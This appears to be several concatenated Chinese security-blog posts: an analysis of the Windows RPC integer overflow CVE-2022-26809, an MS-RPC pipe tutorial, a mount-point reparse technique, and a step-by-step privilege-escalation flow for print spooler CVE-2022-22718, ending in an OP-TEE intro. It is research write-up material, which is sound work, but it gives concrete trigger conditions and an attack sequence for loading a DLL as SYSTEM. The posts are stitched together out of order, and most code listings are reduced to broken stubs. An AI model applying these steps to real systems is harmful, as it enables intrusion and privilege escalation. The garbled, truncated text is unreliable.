NDR represents a pipe as a sequence of chunks, not necessarily all containing the same number of elements. A chunk can contain at most elements of the pipe. The number of chunks is potentially unlimited. NDR represents each chunk as an ordered sequence of representations of the elements in the chunk, preceded by an unsigned long integer giving the number of elements in the chunk. The final chunk is empty; it contains no elements and consists only of an unsigned long integer with the value 0 (zero).
从描述中我们可以得知:
这边注意,Pipe中,前四个字节存放的是元素的数量,而非总共的长度,这点要注意。。
1 | 比如说Long对象,理论上chunk=1的时候,NDR的总长度为4+4 = 8 |
当check不满足的时候(后文会根据chunk的数量申请内存大小。如果内存太小发生越界,则拷贝不发生,并且抛出bad_ndr
的错误)
再RPCRT4中,管对这个NDR解析的过程叫做Unmarsharl
,大致可以理解成反序列化
根据前文的前置知识,我们知道发送的PDU数据中,存在一个叫做Fragment 分片的概念,结合文档中提到的分片发送,不难猜测,整个漏洞的核心原因应该是分片Fragment发生合并的时候导致的整数溢出。通过调试可以还原部分的数据结构,其中ProcessReceivedPDU
函数中的漏洞函数如下:
1 | FragmentLength = Size; |
可以看到,这边将PDUBuffer
加入了一个queue
中,并且将每次传入的FragmentLength
叠加到当前对象的TotalLength
成员变量中,这边忘记检查当前的分片长度是否溢出,从而导致存在了整数溢出。可以猜测,后文应当存在一个逻辑,将此处压入的Buffer数据包取出,然后送入另一个buffer中,而由于这边算的长度存在问题,从而导致了越界写的问题。
然后我们回到前文提到的另一个问题:代码流程无法进入漏洞触发点,而是提前就进入了DispatchRPC
,这段其实和分发逻辑有关,这边存在几种情况:
当我们发出的数据包为PFC_FIRST_FRAG
与PFC_LAST_FRAG
flag同时设置的时候,会进入前文的快速分发逻辑,导致不会发生分片
1 | if ( (Flags & 1) != 0 ) // PFC_FIRST_FRAG |
当我们发出的数据包有多个,其中第一个为PFC_FIRST_FRAG
的同时不为PFC_LAST_FRAG
的场合,此时会判断allocHint
大小判断
1 | alloc_hint = *(Packet + 4); |
如果此时发包不足allocHint
大小,意味着此时ServerBuffer足够缓存数据,于是直接拷贝到缓存的Buffer中
1 | if ( !OSF_SCALL::GetBufferDo(*CurrentBinding, &this->DispatchBuffer, AllocHint, 1, v49, v50) ) |
并且如果包为PFC_LAST_FRAG
,则单次传输结束。
如果使用微软官方提供的sample,是无法触发漏洞点的,因为官方的allocHint
大小每次都是同时存在PFC_FIRST_FRAG
和PFC_LAST_FRAG
导致每次都会立刻进行Dispatch,最终导致错过漏洞触发条件。
总结一下,为了能够触发漏洞,我们需要
PFC_FIRST_FRAG
和多个数据包,最后跟着一个PFC_LAST_FRAG
allocHint
字段给出的buffer大小需要不足以承受之后所有的数据包当满足上述两个条件之后,当第一个数据包进入了DispatchRPC
,程序就会进入数据处理逻辑,同时由于此为多线程处理逻辑,Server还会接受之后到来的数据包,此时由于
所以此时只能将数据包压入队列,等满足条件再进行数据合并,于是能够进入后方的PutQueue
逻辑:
1 | FragmentLength = Size; |
于是能触发这段逻辑。
再实验的时候,这里使用了python脚本,以及引入库impacket.dcerpc.v5.rpcrt
进行数据发送,但是这个库会将AllocHint设置成正好能够放得下所有请求的NDR大小总和的数值,导致最后都会被一次性发送给DispatchRPCCall
,导致无法进入后方的逻辑。于是这边需要手动修改这个包的处理逻辑(直接修改库中的代码才行),将allocHint
的大小改成每次发送的fragment
的实际大小即可(一般来说,fragment
因为存在头部数据大小(32bit为24字节)的真实大小会略大于allocHint
,可以通过wireshark进行调整)
再尝试发送请求的数据的时候,一直有一个bad_ndr
的错误。后来经我观察,发现RPCRT4
并没有严格按照之前提到的规范来实现Pipe。再NdrReadPipeElements
中会调用NdrpReadPipeElementsFromBuffer
进行数组数据的读取,其中
1 | if ( !(*(*a1->pipeHelper + 96i64))(a1->pipeHelper, pipe_message, &UnMarshalLength) )// NDR_PIPE_HELPER32::UnmarshallChunkCounter |
完成反序列化之后,这里的Chunk数量居然要和这里的minSize
和maxSize
比较。这两个变量的含义是Pipe
中能够存放的最大元素。minSize
自然为0,而maxSize
居然只有短短的0xffffff
。 多少有点小了吧,文档原文不是说可以很大的吗 ,于是这边我们需要严格按照如下的格式构造请求的数据体:
1 |
|
当我们的chunk大小合理之后,就不会被这边卡住了,函数的后方会调用NdrpPipeElementConvertAndUnmarshal
,对这个Pipe中的每一个元素进行Unmarshal
。
OSF_SCALL::GetCoalescedBuffer
前的最后准备根据观察,会发现不是每次NdrpReadPipeElementsFromBuffer
调用完成之后,都能够进入OSF_SCALL::GetCoalescedBuffer
。于是要来观察当前函数的触发逻辑:
1 | if ( (a1->field_12 & 0x20000) == 0 ) |
可以看到,当前函数的调用中,有一个非常关键的检查(据观察,后两个flag检查基本都是通过的)就是
1 | if ( readElem ) |
也就是说,只要我们能够让readElem
的值为0,我们才能进入NdrPartialReceive
。这个值是在NdrpReadPipeElementsFromBuffer
中被设置的。于是这边跟如这个函数。函数使用类似状态机的代码进行维护
1 | state = a1->state; |
state=1
的时候。会尝试读取NDR数据段中的chunk
字段,并且检查chunk的长度是否在规定长度内。(这点就要吐槽了一下,规定中这个chunk应该是无限长度的,这个地方居然有maxsize。。)如果ChunkNum(也就是chunk字段)
不为0的时候,进入状态1:
1 | Buffer = a2->Buffer; |
这边首先会计算ContentBufferLength
,这边的a2->RpcMsg->Buffer
其实就是未处理过的Buffer,指向我们发来的NDR数据(含头部),a2->Buffer
是NDR数据(不含头部)的起始地址。这个算法就能计算出来NDR body
的大小。然后取出来的ElemSize
表示的是pipe数据结构中,每个元素的大小。如果我们传输的是long结构体,这个地方大小就是4。之后就会进入拷贝的前的检查逻辑:
1 | if ( !readReadLength ) |
这边会根据当前数据的padding,当前缓存的大小,以及指定要读取的数据大小,选取一个合适大小的BufferLength,并且最后调用NdrpPipeElementConvertAndUnmarshal
来进行pipe的数据反序列化。当读取完成之后,会减小readReadLength
的大小,并且iang实际上读取出来的数据加到hasReadElem_ptr
,也就是我们前文提到的hasReadElem
中。
可以看到,只要数据能够读入的场合,基本上这个hasReadElem
就会被设置。所以只能锁定在之前提到的一个位置:
1 | ContentBufferLength = LODWORD(a2->RpcMsg->Buffer) + a2->RpcMsg->BufferLength - LODWORD(a2->Buffer); |
虽然这里说【一般不满足】,但是不妨设想一个场景:如果在反序列化的过程中,如果此时的pipe的头部已经来到了,但是body却没有及时传输过来,此时理论上就不应该进行反序列化。从代码上也能看出,如果头部正好过来了,但是body没有过来的场合,此时甚至无法满足ElemSize>ContentBufferLength
,于是就会进入后文提到的NdrPartialReceive
,从逻辑上讲就是先将分片进行合并,然后再对其进行数据解析。
不过经过POC测试,由于分片的时候,长度会增加4字节,基本上Buffer的长度维持和分片长度倍数的情况下,都能满足:
1 | def format_fragment_data(data, frag_size): |
OSF_SCALL::GetCoalescedBuffer
漏洞触发这个函数理论也被微软进行了修复:
1 | fForceExtra = a2->RpcFlags & 0x4000; |
可以看到,v10
这个变量再v7
被设置为Extra
的时候,能够再次叠加一个Buffer,然后在之后的逻辑中:
1 | v16 = QUEUE::TakeOffQueue(&this->osf_scall258, &Size); |
会将之前Queue中的数据包和长度一并取出来,拷贝到对应的Buffer中。此时如果发生过整数溢出v17
长度必定不可控,而且内存还是由我们控制的,是一个很容易利用的漏洞。
诚然,可以看到这个程序中调用了函数
1 | OSF_SCALL::TransGetBuffer(v9, &v23, v10 + 24) |
这边的v10
就算无法触发v7
,进入Extra
状态,理论上也应该还能叠加一个我们前文控制的receiveLengthVuln
。然而再实际测试过程中,我发现几个点:
FragmentLength
本身存在长度限制(ushort类型,长度最长只能为0xffff,而且实际上设置不了这么大)GetCoalescedBuffer
。再开始的几个包肯定不足以造成溢出,并且最重要的是再GetCoalescedBuffer
函数末尾,存在如下的逻辑1 | v8->Buffer = v12; |
一旦进入这个函数,则receiveLengthVuln
就会被置为0.。。。从而造成无法溢出的问题。然而再这个函数的外层,存在这样的逻辑:
1 | result = OSF_SCALL::GetCoalescedBuffer(this, a2, Extra); |
如果BufferLength >= Size
,则会被返回。。。
但是仔细看函数的外部,会发现这个OSF_SCALL::GetCoalescedBuffer
其实存在被多次调用的可能:
1 | if ( this->receiveLengthVuln <= *(this->Connection + 92) )// Connection->MaxFrag |
从逻辑上看,a2->BufferLength
存放了之前累计传入的Buffer的总长度。一旦传入的长度没能达到Size
的大小,此时的Buffer就会依然被认为是Extra
Buffer,此时会进入EVENT::Wait(&this->pvoid2C0, -1);
,此时程序流会重新交给ProcessReceivedPDU
,让程序能够对数据包进行进一步的读取。当满足一定的条件,这边的Event
会被重新唤醒,此时之前存入的a2的Buffer就能一次又一次的叠加到当前Buffer上面,同时BufferLength
也会反复的进行数值叠加。如果能够控制这个值,就能够实现发送大量重复的数据包,从而实现整数溢出!
1 | GetCoalescedBuffer -> a2->BufferLength = Receive1 -> a2->BufferLength < Size, it will wait -> ProcessReceivedPDU -> a2->BufferLength += Receive2 -> a2->BufferLength < Size, it will wait ...... |
这个要回到之前Pipe
教学的时候提到的BigPipe
概念。这个Size其实表示的当前pipe中能够存放的未合并的Buffer大小,这个大小在一开始由MDIL
生成的文件中的xxx_s.c
中的FormatString
结构体中可以被修改:
1 | /* 8 */0xb5,/* FC_PIPE 对应FC 也就是pipe的魔数*/ |
也就是这一段。这里的Size
就是我们之前提到的,检查GetCoalescedBuffer
调用结束后,读到的BufferLength是否过大的Size
,可以看到这个地方仅为4(默认大小),并且如前文提到的,这个值会在NdrReadPipeElements
中被设置为0x40
。此时可以发现,其大小最多仅为Short
,如果我们把pipe符号位设置成0x83
,那么这个字段则可扩展为Long
,此时就能扩展数据,让其变成一个非常大的值。当这个Size足够大的时候,我们上文提到的GetCoalescedBuffer
就能被反复调用,于是造成整数溢出的问题。
现在已经能够知道如何触发漏洞点,所以,现在需要具体的确认这两个函数的调用时机。整个过程比较长,这边整理一下大致的调用逻辑如下:
ProcessReceivedPDU
,接受大小正好的包,进行dispatch。InitPipeStateWithType
系列函数),之后会将RPC发送到InPipe
(一个Server侧编写的函数,这边取个简单的名字)InPipe
通过调用NdrReadPipeElements
,NdrReadPipeElements
调用NdrpReadPipeElementsFromBuffer
对数据进行读取。NdrpReadPipeElementsFromBuffer
中,当前NDR中Pipe的元素耗尽的时候(其实据观察,应该是发生了分片的场合),发生NdrPartialReceive
调用,表示当前需要将之前的缓存的Buffer读出来Receive
调用的时候,此时由于未收到PFC_FRAG_LAST
,调用未完成,于是进入Default分支
,从而进入GetCoalescedBuffer
分支。MaxFrag
只是用来控制Fragment
的合并,不会导致当前叠加的退出。ProcessReceivedPDU
接收到的包大小控制合适GetCoalescedBuffer
中判断的Size
大小合适的话当发生一次GetCoalsedcedBuffer
就能造成溢出
8. 当接受过一次的包,如果满足大小小于size,此时的GetCoalescedBuffer
线程会调用Event.Wait(-1)
,此时会导致其他线程被激活,从而能够继续调用ProcessReceivedPDU
,然后就能回到1调用。
调用示意图如下:
触发条件
1 | Alloc Hint <- Client推荐Server分配的内存大小,可以远大于 Frag Size。限制最大为0xffffff |
当某次发送FragSize==AllocHint
的时候,当前数据包被处理。之后的数据包进入缓存状态
4. 缓存状态下,存在一个缓存buffer(漏洞点)其长度为BufferLength
。每次数据包进入缓存状态之后,都有
1 | PutOnQueue(buffer, bufferLength); //临时存放到某个队列里面 |
上述BufferLength存在整数溢出。
5. 当接收到最后一个数据包(标志位由Client设定)
的时候,进入GetCoalescedBuffer
函数,此时会申请一个BufferLength
大小的堆,然后将之前压入Queue的数据包取出来,依次拷贝进去
理论上只要我们发送的fragment够多,BufferLength就会发生整数溢出,变成一个很小的值,此时我们取出来的数据包就能实现一个堆溢出攻击
实际上,一趟分析下来,感觉整个漏洞利用有一点点理想化了。可以看到如下的限制
服务端
midl
进行生成,这个时候根本就不会修改将当前标志位修改成可以被利用的状态网络状态
从分析来看,至少需要溢出DWORD大小的数据,而关于fragment
设置的大小,虽然规定大小是short大小,但是实际上尝试的时候发现,微软客户端会限制发送大小,单次只能发送5000字节,而如果要造成DWORD
的数据发生溢出,至少要发送10000000左右个数据包才能造成溢出,而且RPC的库中,通常存在超时认证,也就是发送如此大数量的数据包,同时还不能因为超时被kill,感觉其难度非常的大。。。
总的来说,这趟分析下来,感觉攻击利用的难度非常大:非常极端的服务器配置,非常高性能的请求要求,让人有点点不解为啥价值9.8的分数。。。可能是由于我能力比较差,只能分析到这个程度了,要是有大佬能够愿意指点就好了。
PS:全文提到的测试的代码源于微软官方仓库,相关的代码可以这里下载
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/543b0019-e8ea-4b58-b4d5-324fd692966d
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8
https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm
https://pubs.opengroup.org/onlinepubs/9629399/chap14.htm
https://www.youtube.com/watch?v=GGlwy3_jVYE
https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/
https://corelight.com/blog/another-day-another-dce-rpc-rce
CVE-2022-26809
这个漏洞,当时的评分有9.8那么高,我十分好奇这么高评分的漏洞到底是个怎么样子的洞,所以对其进行了简单的分析,不过一通分析过后,在个人有限的水平下,分析出来的结果是感觉这个漏洞好像挺理论洞的。。为了能够更好的描述这个漏洞,首先要了解Windows下的RPC调用模式,所以这里可能要分成两个部分来讲漏洞。前面可能更加倾向于介绍RPC本身,摆出一堆术语,之后才能比较好的介绍漏洞本身。
RPC为远程过程调用,分为Server端和Client端。其调用模式如图
由于RPC代码在编写过程中存在很多基本模式以及很多需要遵守的规则,所以一般开发平台提供一个叫做MIDL( Microsoft Interface Definition Language )
的定义语言来生成Server和Client的对应接口,其后缀为.idl
。当定义语言写好之后,使用midl.exe
即可生成对应的桩(Stub)
文件。桩(Stub)
不做真正的工作,在RPC中它负责将调用的数据重新组织好,并且将数据传输到指定的远程主机侧完成系统调用。
在这里有很多微软提供的参考代码,可以通过这边学习一下整个RPC的调用过程。文章后面的内容也会从里面选取其中的Hello
项目进行介绍。
假设interface文件如下
1 | [ uuid (f691b703-f681-47dc-afcd-034b2faab911), // You must change this when you change the interface |
我们通过输入
1 | midl -oldnames -cpp_opt "-E" hello.idl |
可以生成如下的文件
1 | hello.h // 通用接口文件 |
可以简单看一下内容
hello.h
1 |
|
基本上是定义了一些基本的变量和对应的接口函数类型。其中
1 | extern RPC_IF_HANDLE hello_ClientIfHandle; |
为RPC调用中会使用到的接口句柄,其本质为RpcInterfaceInformation
,也就是RPC接口信息句柄,在之后注册RPC调用的时候会用到。
Client侧生成的文件信息如下(节选)
1 | static const RPC_CLIENT_INTERFACE hello___RpcClientInterface = |
可以看到,hello_ClientIfHandle
在这边被hello___RpcClientInterface
赋值。这个变量中记录的了一些在定义过程中能够知道的值:当前接口的接口IDInterface ID以及当前NDR
(在RPC调用过程中用于描述传输单位的数据)使用的传输语法 TransferSyntax。传输语法可以定义当前NDR
使用的语法。在MIDL中可以使用/protocol
对其进行指定。结构体后方的变量会在运行时逐渐填充。
1 | extern const MIDL_STUB_DESC hello_StubDesc; |
xxx_StubDesc
变量中的xxxx
为当前IDL文件中定义的接口的名字。这个变量存放了针对每个Stub
的一些基本定义的。包括用于分配对象和释放对象的MIDL_user_allocate
和MIDL_user_free
。这两个程序需要在主程序中声明,用于对对象进行内存管理。通过暴露这个接口,也方便后期进行数据的追踪。同时将前文的hello___RpcClientInterface
绑定在Stub
中,表明hello_StubDesc
描述的是hello___RpcClientInterface
接口句柄指向的Stub
。hello_IfHandle
则为前文提到的,用于表示当前Stub
的原始句柄。在通常情况下与hello___RpcClientInterface
是等价的。但是当在接口中指明使用当权句柄的时候,一般会使用_IfHandle
进行接口绑定。
1 |
|
hello__MIDL_ProcFormatString
被称为格式化字符串(类似与printf用的的那个字符串),使用特定的数值来描述当前调用函数中接口的各种属性。包括当前接口类型(用flag表示)参数数量等。如果存在参数的画,则会在描述完接口之后跟着描述对应的参数类型,会描述参数的大小,种类等等。hello__MIDL_TypeFormatString
用于描述当前使用的一些函数的参数种类等hello_FormatStringOffsetTable
则用于描述hello__MIDL_ProcFormatString
中每个接口的起始地址。
完成这些定义之后,最终就能声明接口函数
1 |
|
可以看到Client端的HelloProc
和Shutdown
函数定义本质上只是调用了一个叫做NdrClientCall2
的API,这个API由RPCRT4.dll
提供,根据生成的hello_StubDesc
,hello__MIDL_ProcFormatString.Format[0]
以及hello__MIDL_ProcFormatString.Format[36]
进行函数调用接口和参数的一些定义。之后个根据这种特殊的格式化字符串形式,根据需要传入参数。
server侧大部分关于接口的定义等同Client侧,但是接口的实现需要由自己完成,同时会多出如下的几个变量:
1 |
|
首先,server侧的hello___RpcServerInterface
定义了DispatchTable
。这个变量会在之后提到的PDU
中由procnum
指定的操作数指定调对应分发函数。然后对应的NdrServerCall2
则会去寻找hello___RpcServerInterface
中注册的hello_ServerInfo
指定的hello_ServerRoutineTable
,最终形成一种对应关系,找到需要调用的相关函数。在NdrServerCall2
调用过程中,中途会根据之前注册的接口信息,再合适的时候进行内存管理(之后漏洞会详细分析部分),从而保证传入Server的API中的变量为我们需要的形式。
同时,Server侧需要实现接口:
1 | void HelloProc(IN RPC_BINDING_HANDLE hBinding,unsigned char * pszString) |
这边就没什么特别的了,就按照正常的API编写即可。
[TODO]
RPC接口中,支持很多常见的数据类型,例如int, long,char
等等,同时也支持类似结构体的格式。详情可以看官方文档,介绍了所有可以用的类型。
这里我们要额外介绍一种特殊的数据类型:Pipe
。Pipe
这种数据类型能够实现如下的能力
The pipe type constructor is a highly efficient mechanism for passing large amounts of data, or any quantity of data that is not all available in memory at one time. By using a pipe, RPC run time handles the actual data transfer, eliminating the overhead associated with repeated remote procedure calls.
概括来讲就是:Pipe中的数据可以想在管道中流通一下,无数次的从某个特定的API中读入or输出。当发生读入or输出的动作的时候,传输的数据无需马上准备好,程序可以根据需要同步or异步的进行数据的输入。
这种类型在MIDL中的声明如下:
1 |
|
首先我们需要使用typedef pipe long
将pipe类型指定为一个我们新的变量类型上,表明当前管道中的pipe中,传输的元素全部都是long类型的变量。变量前的[in]
表示被调用者(Server)将会用这个接口,从调用者(Client)**拖拽(Pull)数据。而[out](后跟指针类型为自行需要)
,表示被调用者将会用这个接口往调用者处推送(Push)**数据。如果[in,out]
都用,则表示这个接口中的数据可能极有可能发生pull
也可能发生push
。
观察生成头文件:
1 |
|
删除部分无用变量
可以看到,生成的Server Stub文件中,多出来一些针对Pipe的特殊声明。我们能够使用这里的特征,对所有使用了RPC调用的binary进行搜索,检查其中是否包含pipe
类型。其中这里可以稍微关注一下pipe的属性
[TODO:考虑删掉,改成逆向结果]
1 |
|
Pipe会在InitPipeStateWithType
函数中被初始化。其中flag
最高位会表示当前大小AnotherSize和targetSize
是两个字节还是四个字节。默认情况下的targetSize
会在NdrReadPipeElements
被抬高为64
字节(这也就是GetCoalescedBuffer
在后期攻击的时候,为什么不会被重复调用的理由)。但是当设置flag
最高位为1的场合,这个值最大可以设置为0x7fffff00
。不过此时AnotherSize
也需要保持一样的大小。
1 |
|
再编写Server侧代码的时候,首先注意,当前传入的LONG_PIPE
对象无需我们初始化,因为实际上pipe
对象具体要怎么做是交给用户态来定义的。InPipe
接口中,我们调用了pull
接口
1 | while (actual_transfer_count > 0) /* Loop to get all |
state
用于描述当前管道中的状态值,这里我们用它代表了下标(client侧体现)local_pipe_buf
用于存放当前用于存放收入数据的缓冲区count
表示pipe单次接受的pipe
中元素大小,这里也就是能接受count个long类型actual_transfer_count
表示实际接受了多少个元素当我们发现接收到的数据大小为0的时候,此时停止循环,完成pipe数据读取。OutPipe
接口也类似
1 | while (elementsToSend > 0) /* Loop to send pipe data elements */ |
只不过这次我们会按照一定的比率进行数据的输送。
Client侧的逻辑稍微复杂,且需要和Server侧颠倒
1 | void PipeAlloc(rpc_ss_pipe_state_t stateInfo, |
首先可以看到,这里首先定义了三个和pipe相关的函数。之后这三个函数会分别被赋值给传入Client
侧的InPipe
和OutPipe
中的LONG_PIPE
对象中。这里先解释其作用
PipeAlloc
会在每次pipe_pull
和pipe_push
被调用的时候,给allocatedBuffer
申请变量,而且必须在allocatedSize
给出反馈。注意这个allocatedBuffer
只需要在用户态可用即可,未规定一定要是malloc
出来的内容。例子中就简单的使用全局变量进行了分配PipePull
中传入的inputBuffer
为PipeAlloc
中申请的Buffer,然后我们往Buffer中写入我们需要传入的内容。这里的stateInfo
其实是一个整数变量,用于维护Pipe的状态,我们在这里用于表示当前Pipe
的下标,记录传输的状态。完成传输之后,需要将要发送的数据数量存入sizeToSend
PipePush
中buffer
同样为PipeAlloc
申请来的数据大小。这边而是表示此时有numberOfElements
个对象需要接受,此时只需要将数据传入对应state
表示的下标即可完成上述准备,此时可以编写用于发送数据和接受数据的函数
1 | void SendLongs() |
可以看到,这两个函数调用过程中,都有一个针对当前的LONG_PIPE
对象赋值的过程。此过程其实是为了在调用InPipe
和OutPipe
中,此时的pipe类型将会怎么使用。这个函数在自动生成的Stub
文件中作为普通的参数传入,不过其在RPC调用过程中存在特殊的处理过程(和之后漏洞相关)。此时根据Server的实现情况,其会反向调用来自用户态的函数,也就是最后会反过来找用户态的push
和pull
函数。在用户态完成调用之后,其会调用NdrClientCall2
重新使用socket协议将数据发送出去,从而实现RPC。
本文主要介绍了RPC的一些基础知识(主要也是MSDN的翻译),下一篇文章中将会详细介绍漏洞的相关详情
https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page
https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds
之前学习的概念如下:
Windows仅仅支持两种类型的文件:普通文件以及文件目录。这两种文件都可以作为一个NTFS重解析点,一种特殊的文件,拥有一个修改的头部和一个可变的数据块。头部包括了一个表示当前重解析点的类型,这个tag将会被文件系统过滤驱动处理;或者包含内置的重解析点类型类型,即I/O管理器本身
为什么叫做重解析呢?这里要看一个例子:
1 | C:\Symlink_to_File\File_to_SYS |
Symlink_to_File
,发现其实是一个符号链接,于是重新解析当前路径,得到的路径其实为File Path
File_to_SYS
,发现也是一个符号链接,于是再次发生重新解析,得到路径为SYS
C:\File Path\SYS
由于这个过程 重新解析了文件信息,所以称为重解析点。重解析通常用于符号链接或者挂载。在2019年之后,微软修改了符号链接的权限,现在规定只有管理员权限才能够随意创建符号链接,并且经过观察发现,即使是管理员,默认的创建权限也是关闭的,需要特殊开启
然而不知为何,挂载点MountPoint
的创建却没有被限制。于是可以利用挂载点进行重解析,来对路径进行类似符号链接的重定向。
这边参考了ProjectZero的仓库,核心代码如左。
这里首先介绍一下核心代码:
首先,需要使用一个结构体:
1 | typedef struct _REPARSE_DATA_BUFFER { |
这个结构体是一个union,同时处理了SymbolicLink
和MountPoint
两个点。同时需要引进一些常量:
1 |
这些都是一些在Reparse
处理过程中可能用到的一些变量。
然后再之后的代码中,我们首先打开两个目录,一个叫做srcPath
,一个叫做targetPath
,其中我们假定一个如下的场景:
当需要将当前的文件作为重解析句柄打开的时候,需要使用如下的代码:
1 | HANDLE handle = CreateFile(path, |
关键在于FILE_FLAG_OPEN_REPARSE_POINT
,这个变量表明当前打开的句柄需要作为重解析点去处理。
然后代码需要构建之前提到的_REPARSE_DATA_BUFFER
:
1 | std::wstring target = FixupPath(wszTargetFullDir); |
其中printname_byte_size
之所以还要跟着4+8
是因为,首先路径末尾需要预留\0
的位置(Unicode所以是2个字节大小)然后成员变量里面有两个Unicode对象,所以需要4,而8则是来自ntoskrnl!FsRtlValidateReparsePointBuffer
的分析和调试。之后写如下逻辑:
1 | buffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; |
由于PrintName
只是一个展示的数据,所以这个位置的数据可以为空字符串。
之后对之前打开的Reparse
文件描述符,使用IOCTL发送请求数据:
1 | bool ret = DeviceIoControl(handle, FSCTL_SET_REPARSE_POINT, |
其中dwReparseSize
为之前算好的total_size
,表示此时发送的数据大小。一旦调用成功之后,srcPath
就会被设置成重解析点,此时就能够起到类似符号链接的作用:
未设置重解析点
设置了重解析点
图标发生了变化
可以看到,设置重解析点之后,srcDir
拥有了一个link属性,此时再srcDir中创建的所有文件其实等价于再targetDir中创建文件。
当完成了工作之后,可以通过如下的方式将这个重解析数据头删除:
1 | buffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; |
CVE-2022-22718
其实是关于printer
一个老漏洞CVE-2020–1030
的一个新的思路。这里简单介绍一下漏洞详情,以及上述提到的重解析漏洞在这个地方的利用方式。
实际控制的进程
核心原因在于:对于文件夹的权限检查和创建没有再同一个时刻完成。
出现问题的API是SetPrinterDataEx
1 | DWORD SetPrinterDataEx( |
这个API实际上是一个COM调用,通过这个调用能够对打印机的一些注册表配置进行修改,其中修改的注册表其实就是左边Printers
展开后的这些打印机
由于调用这个API,需要用户对这个打印机存在PRINTER_ACCESS_ADMINISTER
的权限。如果无法打开现有的打印机的话,可以通过添加一个新的打印机来规避这个权限的月书。调用这个API可以往这些位置添加对应的注册表项。
这个API在SpoolDirectory
这个值设置的时候,首先会检查相关权限(COM调用的场合都是没问题的),之后会进入相关的逻辑如下:
这个地方会尝试创建我们传入的目录,并且是具备可写的权限。如果可以创建,则检查这个文件的符号链接数量是否为1,具体逻辑如下
首先调用AdjustFileName
将路径调整为CanonicalPath
,也就是如下的形式:
1 | \\?\C:\\CanonicalPath |
然后调用下列逻辑,对当前的路径链接数进行比对
或者这个文件之前就存在了,那么就会把这个路径写入注册表,否则就会离开当前逻辑。
总结以下,上述的整体逻辑如下:
SpoolDirectory
的路径是否可以创建于是这里就出现了一个逻辑问题:对目录进行check的时候,和创建文件并不是发生在同一个时机,这里就存在一个类似竞争的问题。举个例子
C:\\My\\Dir
SetPrinterDataEx
函数之后,将这个路径用重解析的方式重定向到C:\\Windows\\System32
此时,C:\\My\\Dir
其实本质上就指向了C:\\Windows\\System32
。然后我们通过让spool进程重启,他就会去调用BuildPrinterInfo
,就会尝试将注册表中的路径读出来,并且尝试去创建对应的文件:
于是通过Repase Point
,我们就能够获得一个任意目录创建的机会。
通过上述方法,我们能够获得一个任意目录写的机会,那么如何利用这个漏洞呢?这个就要扯到打印机的一个特性:
CopyFiles
开头的键,那么这个键对应的Modules
值中填写一个DLL路径,这个DLL将会被当前COM服务加载,并且load到打印机服务中。这个进程是SYSTEM权限。IsModuleFilePathAllowed
检查加载的DLL路径是否为C:\\Windows\\System32
或者C:\Windows\System32\spool\drivers\<ARCH>
这两个目录,否则的话DLL不会加载。修改Module值可以用通过直接使用APISetPrinterDataEx
进行调用。然而在这个过程中有一个小问题:在BuildPrinterInfo
中,会检查注册表中读出来的路径,是否为DriverPath
,而我们的目标就是C:\Windows\System32\spool\drivers\<ARCH>
,也就是DriverPath
,于是我们需要一个绕过的策略
上图为匹配逻辑,可以很容易的发现,他这边是直接简单的比较路径,其中PrinterPathName就是C:\Windows\System32\spool\drivers\<ARCH>
。
于是现在的问题变成:
SplLoadLibraryTheCopyFileModule
加载DLL,我们的DLL路径必须要指向C:\Windows\System32\spool\drivers\<ARCH>
。BuildPrinterInfo
通过,此时我们利用任意文件创建的攻击原语(attack primitive)创建的路径必须与字符串字符串C:\Windows\System32\spool\drivers\<ARCH>
不同可以看到,第二项check比较的是字符串,而第一项要求的只是路径能够只想对应位置的DLL,因为在这个SplLoadLibraryTheCopyFileModule
加载逻辑如下:
可以看到,在检查文件DLL是否合法(满足两个路径,就是IsModuleFilePathAllowed
这个地方)之前,调用了一个关键函数MakeCanonicalPath
,这个函数跟进去可以看到
可以看到这边会尝试获取这个文件,并且调用GetFinalPathNameByHandleW
,这个API的作用是能够解析符号链接,也就是说,在真正的检查之前,这个路径会被先规范化,比如说
1 | C:\My\Dir |
上述路径被我们用重解析点解析到了
1 | C:\Windows\system32 |
那么这个规范化解析就会变成
1 | \\?\C:\Windows\system32 |
然后实际IsModuleFilePathAllowed
比较的时候会先比较前四个字节是否为\\?\
,如果是的话,会对其进行跳过,然后比较之后的路径是否为C:\Windows\system32
。
为了这里可以使用另一种路径的表达方式:
1 | \\localhost\C$\spooldir\printers\ |
根据文章提到的,在某些版本中比较路径的时候,在进行路径比较之前会将\\?\
删除,所以这边如果使用上述的路径的话,当结构化处理的时候会转换成
1 | \\?\UNC\C:\spooldir\printers |
于是当进行比较的时候,就永远不会相等了。于是这一个攻击流程就是
SetPinterDataEx
设置SpoolDirectory
,此时填入任意一个可控的目录的UNC目录,此时可以通过第一层check->符号链接数量为1ReparsePoint
,将路径重定向到C:\Windows\system32\spool\driver\<ARCH>
SetPinterDataEx
,此时增添\\CopyFiles
,并且指定DLL路径为system32
下的APPVTerminator.dll
SpoolDirectory
之后进行第二次比较,此时由于路径为UNC目录,可以绕过第二个比较->此时不能为print driver目录,并且创建对应的路径4SetPinterDataEx
,此时增添\\CopyFiles
,并且写入攻击dll,攻击完成修复后(修复后,在此处创建文件会提示没有权限,具体原因不明)
同时删除了AppVTerminator.dll
1 |
|
这次比赛出了两个关于OPTEE得题目,后来查了一下也是一个手机上用的比较常见得概念了,为了能够更好的做题目,这边首先先简单的对这个玩意儿进行简单的学习:
运行 Linux 或 Android 的典型嵌入式系统在内核和用户空间包中都存在大量安全漏洞。漏洞可能允许攻击者访问敏感信息和/或插入恶意软件。TEE 增加了一个额外的安全层,其中运行在 TEE 上的代码/数据不能从正常的世界操作系统(例如:Linux/Android)访问/篡改。在 TEE(安全世界)上运行的软件通常涉及一个面向安全的微型操作系统(例如:OP-TEE OS)以及受信任的应用程序。受信任的应用程序旨在处理机密信息,例如信用卡 PIN、私钥、客户数据、受 DRM 保护的媒体等。
